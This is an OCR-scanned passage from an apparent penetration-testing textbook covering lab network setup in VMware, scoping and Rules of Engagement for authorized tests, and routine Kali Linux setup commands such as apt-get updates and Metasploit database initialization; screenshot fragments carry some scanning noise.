Add Network... ] ’Remove Hetwork

VMnet Information

(") Bridged (connect VMs directly to the external network)
Bridged to: | Automatic * | | Autornatic Settings...
() NAT (shared host's TP address with ViMs) NAT Settings...

(@) Host-only (connect VMs internally in a private network)

Connect a host virtual adapter to this network
Host virtual adapter name: VMware Network Adapter VMnet9

local DHCP service to distribute IP address to VMs DHCP Settings...

Subnet IP: 192 .168 .175. 0 Subnet mask: 255.255.255. 0

o [ | [ oo ][ e

3. Once you have verified your settings, click on Apply | OK.

The next thing to do is click on Edit virtual machine settings | Add | Next |
Custom | VMnet9 | Finish | OK.

7IPFSense VLAN1

P Power on this virtual machine

'51 Edit virtual machine settings

¥ Devices
W Memory 256 MB
[d Processors 1

= Hard Disk (SCSI) 20 GB

=) CD/DVD (IDE) Using file ChUsers\,...
= Network Adapter NAT

TE Network Adapte... Custom (VMnet9)
& UsB Controller Present

@) Sound Card Auto detect

H Display Auto detect

Once you have verified that your settings are correct, you are done for now. We will
install and configure the machine later in the book.
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Summary

In this chapter, we discussed the reasons we selected VMware Workstation as our
virtualization platform and created the initial network design as well as some of the
machines that will be required throughout the book. We installed the Kali Linux
distribution to include the VMware tools. We created the Ubuntu and Kioptrix
machines and set up the initial configuration for the pfSense firewall, which we will
use for load balancing and more. We now are ready to move on to applying the
process and methodology across the targets. We will start that in the next chapter!
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In this chapter, we will discuss the test environment and how we have selected the
chosen platform. We will discuss the following:

Introduction to advanced penetration testing

How to successfully scope your testing

What needs to occur prior to testing

Setting limits - nothing lasts forever

Planning for action

Detail management with MagicTree

Exporting your results into various formats using MagicTree
Team-based data collection and information sharing with Dradis

Creating reusable templates in Dradis

Introducing advanced penetration testing

Penetration testing is necessary to determine the true attack footprint of your
environment. It may often be confused with vulnerability assessment, and thus,
it is important that the differences are fully explained to your clients.

Vulnerability assessments

Vulnerability assessments are necessary to discover potential vulnerabilities
throughout the environment. There are many tools available that automate this
process so that even an inexperienced security professional or administrator can
effectively determine the security posture of their environment. Depending on the
scope, additional manual testing may also be required. Full exploitation of systems and
services is not generally in the scope of a normal vulnerability assessment engagement.
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Systems are typically enumerated and evaluated for vulnerabilities, and testing can
often be done with or without authentication. Most vulnerability management and
scanning solutions provide actionable reports as a reference to the tester that detail
mitigation strategies such as application of missing patches, or correction of insecure
system configurations. Having said that, the tester will perform its own analysis and
create the recommendations based on that.

Penetration testing

Penetration testing expands upon vulnerability assessment efforts by introducing
exploitation into the mix.

The risk of accidentally causing an unintentional denial of service or

other outage is moderately higher when conducting a penetration
Y test than it is when conducting vulnerability assessments. To

an extent, this can be mitigated by proper planning and a solid

understanding of the technologies involved during the testing

process. Thus, it is important that the penetration tester continually

updates and refines the necessary skills.

Penetration testing allows the business to understand if the mitigation strategies
employed are actually working as expected; it essentially takes the guesswork out of
the equation. The penetration tester will be expected to emulate the actions that an
attacker would attempt, and will be challenged with proving that they were able to
compromise the targeted critical systems. The most successful penetration tests result
in the penetration tester being able to prove without a doubt that the vulnerabilities
that are found will lead to a significant loss of revenue or business impact unless
properly addressed. Think of the loss/harm of reputation that you would have if
you could prove to the client that practically anyone in the world has easy access

to their most confidential information!

Penetration testing requires a deeper and wider body of knowledge than is needed for
vulnerability analysis. This generally means that the price of a penetration test will be
much higher than that of a vulnerability analysis. If you are unable to penetrate the
network, you will be assuring your client that their systems are secure to the best of
your knowledge. This should be demonstrated not only by your inability to breach
their networks, but also by showcasing what you attempted and demonstrating that

it didn't work due to their mitigations. If you want to be able to sleep soundly at night,
I recommend that you go above and beyond in verifying the security of your clients.
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Advanced penetration testing

Some environments will be more secure than others. You may be faced with
environments that use:

» Effective patch management procedures

* Managed system configuration hardening policies

*  Multi-layered DMZs

* Centralized security log management

* Host-based security controls

* Network intrusion detection or prevention systems

*  Wireless intrusion detection or prevention systems

* Web application intrusion detection or prevention systems

* End user, executive security, and insider threat training

Effective use of these controls increases the difficulty level of a penetration

test significantly. Clients need to have complete confidence that these security
mechanisms and procedures are able to protect the integrity, confidentiality, and
availability of their systems. They also need to understand that at times the reason
an attacker is able to compromise a system is due to configuration errors, poorly
designed IT architecture, and the ability to social-engineer a target.

There is no such thing as a panacea in security. As penetration
\y .
~ testers, it is our duty to look at all the angles of the problem and
make the client aware of anything that allows an attacker to
adversely affect their business.

Advanced penetration testing goes above and beyond standard penetration testing

by taking advantage of the latest security research and exploitation methods available.
The goal should be to prove that sensitive data and systems are protected even from a
targeted attack and, if that is not the case, to ensure that the client is provided with the
proper instruction on what needs to be changed to make it so and is made aware of the
importance of maintaining a solid incident response program, since there is always the
possibility of a breach.

1
‘\Q A penetration test is a snapshot of the current security posture.

Penetration testing should be performed on a continual basis.
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Many exploitation methods require well-trained penetration testers who have a
hunger for learning, and require hands-on experience to effectively and efficiently
execute. At DefCon 19, Bruce "Grymoire" Barnett provided an excellent presentation
on Deceptive Hacking. In this presentation, he discussed how hackers use many of the
very same techniques that are used by magicians. This is exactly the tenacity that
penetration testers must assume as well. Only through dedication, effort, practice,
and the willingness to explore unknown areas will penetration testers be able to
mimic the targeted attack types that a malicious hacker would attempt in the wild.

Oftentimes, you will be required to work on these penetration tests as part of a team,
and will need to know how to use the tools that are available to make this process
more endurable and efficient. This is yet another challenge presented to today's
pentesters. Working in a silo is just not an option when your scope restricts you

to a very limited testing period.

In some situations, companies may use nonstandard methods to secure their
data, which makes your job even more difficult. The complexity of their security
systems working in tandem with each other may actually be the weakest link in
their security strategy.

a1

~ The likelihood of finding exploitable vulnerabilities is directly
proportional to the complexity of the environment being tested.

Before testing begins

Before we commence with testing, there are requirements that must be taken into
consideration. You will need to determine the proper scoping of the test, timeframes,
and restrictions, the type of testing (white box, black box), and how to deal with
third-party equipment and IP space.

Determining scope

Before you can accurately determine the scope of the test, you will need to gather
as much information as possible. It is critical that the following points are fully
understood prior to starting the testing procedures:

*  Who has the authority to authorize testing?

*  What is the purpose of the test?

*  What is the proposed timeframe for the testing? Are there any restrictions as
to when the testing can be performed?
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Does your customer understand the difference between a vulnerability
assessment and a penetration test?

Will you be conducting this test with, or without the cooperation of the
IT security operations team? Are you testing their effectiveness?

Is social engineering permitted? How about denial-of-service attacks?

Are you able to test physical security measures used to secure servers, critical
data storage, or anything else that requires physical access? For example,
lock picking, impersonating an employee to gain entry into a building, or just
generally walking into the areas that the average unaffiliated person should
not have access to.

Are you allowed to see the network documentation or be informed of the
network architecture prior to testing to speed things along? (Not necessarily
recommended, as this may instill doubt about the value of your findings.
Most businesses do not expect this to be an easy information to determine
on your own.)

What are the IP ranges that you are allowed to test against? There are

laws against scanning and testing systems without proper permissions.

Be extremely diligent when ensuring that these devices and ranges actually
belong to your client, or you may be in danger of facing legal ramifications.

What are the physical locations of the company? This is more valuable to
you as a tester if social engineering is permitted because it ensures that you
are at the sanctioned buildings when testing. If time permits, you should let
your clients know if you were able to access any of this information publicly
in case they were under the impression that their locations were secret or
difficult to find.

What to do if there is a problem or if the initial goal of the test has been
reached? Will you continue to test to find more entries, or is the testing over?
This part is critical and ties into the question of why the customer wants

a penetration test in the first place.

Are there legal implications that you need to be aware of, such as systems
that are in different countries and so on? Not all countries have the same
laws when it comes to penetration testing.

Will additional permission be required once a vulnerability has been
exploited? This is important when performing tests on segmented networks.
The client may not be aware that you can use internal systems as pivot
points to delve deeper within their network.

How are databases to be handled? Are you allowed to add records, users,
and so on?
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This listing is not all-inclusive and you may need to add items to the list depending
on the requirements of your clients. Much of this data can be gathered directly from
the client, but some will have to be handled by your team.

If there are legal concerns, it is recommended that you seek legal counsel to ensure
you fully understand the implications of your testing. It is better to have too much
information than not enough once the time comes to begin testing. In any case,
you should always verify for yourself that the information you have been given is
accurate. You do not want to find out that the systems you have been accessing do
not actually fall under the authority of the client!

It is of utmost importance to gain proper authorization in writing before
M accessing any of your client's systems. Failure to do so may result in
Q legal action and possibly jail. Use proper judgment! You should also
consider that Errors and Omissions (E&O) insurance is a necessity when
performing penetration testing.

Setting limits — nothing lasts forever

Setting proper limitations is essential if you want to be successful at performing
penetration testing. Your clients need to understand the full ramifications involved,
and should be made aware of any residual cost incurred if additional services
beyond those listed within the contract are needed.

Be sure to set well defined start and end dates for your services. Clearly define the
Rules of Engagement and include IP ranges, buildings, hours, and so on that may
need to be tested. If it is not in your Rules of Engagement documentation, it should
not be tested. Meetings should be predefined prior to the start of the testing, and
the customer should know exactly what your deliverables will be.

Rules of Engagement documentation
Every penetration test will need to start with a Rules of Engagement document
that all involved parties must have. This document should at a minimum cover
several items:

* Proper permissions by appropriate personnel

* Begin and end dates for your testing

* The type of testing that will be performed
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* Limitations of testing;:

o

What type of testing is permitted? DDOS? Full penetration? Social
engineering? These questions need to be addressed in detail.

Can intrusive as well as unobtrusive testing be performed?

Does your client expect cleanup to be performed afterwards, or is
this a stage environment that will be completely rebuilt after testing
has been completed?

Is the environment part of a shared hosting site, and if so, do you
have permission from the owners to test it?

* IPranges and physical locations to be tested.

* How the report will be transmitted at the end of the test? (Use secure means
of transmission!)

*  Which tools will be used during the test? Do not limit yourself to only one
specific tool; it may be beneficial to provide a list of the primary toolset to
avoid confusion in the future. For example, we will use the tools found in
the most recent edition of the Kali suite.

* Let your client know how any illegal data that is found during testing will be
handled. Law enforcement should be contacted prior to the client. Please be
sure you fully understand the laws in this regard before conducting your test
and maintain the non-emergency numbers of the country's law enforcement
agency.

* How will sensitive information be handled? You should not be downloading
sensitive customer information without approval, and this should be discussed
and documented within the Rules of Engagement; there are other methods of
proving that the client's data is not secured. This is especially important when
regulated data is a concern.

* Important contact information for both your team and the key employees of
the company you are testing.

* An agreement of what you will do to ensure that the customer's system
information does not remain on unsecured laptops and desktops used during
testing. Will you need to properly scrub your machine after this testing?
What do you plan to do with the information you gathered? Is it to be kept
somewhere for future testing? Make sure this has been addressed before
you start testing, and not after.
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The Rules of Engagement should contain all the details that are needed to determine
the scope of the assessment. All questions should be answered prior to drafting your
Rules of Engagement to ensure there are no misunderstandings once the time comes
to test. Your team members need to keep a copy of this signed document on their
person at all times when performing the test.

Imagine you have been hired to assess the security posture of a client's wireless
network and you are stealthily creeping along the parking lot on private property
with your gigantic directional Wi-Fi antenna and a laptop. If someone witnesses you
in this act, they will probably get concerned and call the authorities. You will need to
have something on you that documents that you have a legitimate reason to be there;
this is sometimes referred to as the "get out of jail free" card. This is one of the times
when having the contact information of the business leaders that hired you will come
in extremely handy!

Planning for action

Once the time has come to start your testing, you will want to be prepared. This
entails having an action plan available, all of your equipment and scripts up and
running, and of course having some mechanism to record all steps and actions taken.
This will provide you with a reference for yourself and other team members. You
may remember the steps you took to bypass that firewall now, but what about four
months from now when you are facing the same challenge? Taking good notes is
critical to a successful penetration test.

Configuring Kali

The first thing we want to do is to ensure that we have changed the default password
of the Kali machine. If you built your machine from the ISO image, then you have
already completed this; but for those of you who did not, you need to change the
password. The procedure for this is as follows:

root@kali:~# passwd

Enter new UNIX password: 1lNewPassWordHere!
Retype new UNIX password: 1lNewPassWordHere!
passwd: password updated successfully

root@kali:~#
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Updating the applications and operating system

We updated the Kali machine in the previous chapter, but if it has been some time
since you last updated, it is always a good idea to update the distribution before
installing and configuring additional software. Having said that, there is a chance
that you will break something during an update, so it is recommended that you take
a snapshot of the machine before performing the update. In VMware Workstation,
click on VM | Snapshot | Take Snapshot..., as shown in the following screenshot:

Tabs Help

{ () Power
Removable Devices
Pause
Send Ctrl+Alt+Del

Grab Input

Snapshot

=
ke

Capture Screen

&~ Manage

|

2
Ctel+Shift+ P |Too|k.it (NST.... LH Windows XP

Ctrl+G

» | %5 | Take Snapshot..

Ctrl+Alt+PriScn | €% Revert to Snapshot: updated 1.1.0

3 \_ﬂ' Snapshot Manager

L1 Backtrack5R3v1 i

Ctrl+M

One thing to keep in mind is that Kali is based on Debian, and this is a switch
from Backtrack; as with any other operating system, patching is required in order
to ensure that the latest security patches are applied. It is also important to keep
applications up-to-date so that the latest testing techniques and tools can be taken

advantage of!

By default, Kali is set up to use only the Kali repositories. If curious, you can see
what these are by looking at the /etc/apt/sources.list file.

The first command that will need to be initialized is the update function of
Advanced Packaging Tool (APT). This will synchronize the package index files to
ensure that you have information about the latest packages available. The update
functionality should always be used prior to installing any software or updating

your installed packages:

# apt-get update

After this update is complete, you may initialize APT's upgrade command.
All installed packages will be updated to the latest release found within your

repositories:

# apt-get upgrade
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Assessment Planning

There is another apt command that is used to update your system, dist -upgrade,
which will update Kali to the latest release. As discussed previously, this could
potentially upgrade the kernel and break things, so remember your snapshots. For
example, if you are running Kali and would like to upgrade instead of downloading
and installing the latest Kali version release, you may do so by typing:

# apt-get dist-upgrade

a1

~ You need not worry about dependencies; all of this is handled
automatically by the apt -get dist-upgrade command!

We also want to start our database server and initialize the Metasploit database;
enter the following commands:

# service postgresql start

# msfdbinit

This is so we have a port open on the machine for our first scanning. It is also a
good idea to note the version of Debian that we have and the version of Kali that is
installed. We have two methods of doing this. The first method is to use the uname
command. In the terminal window, enter:

# uname -a

This command will print the system information, and the switch states to print it all.
For more information on the command, enter:

# man uname

\ Any time you have a question on a command, you can always
~ refer to the man page. The majority of the commands will have
Q a man page and, as such, it is an essential resource to learn how
to get the most from your tools.

An example of the output from the command is sho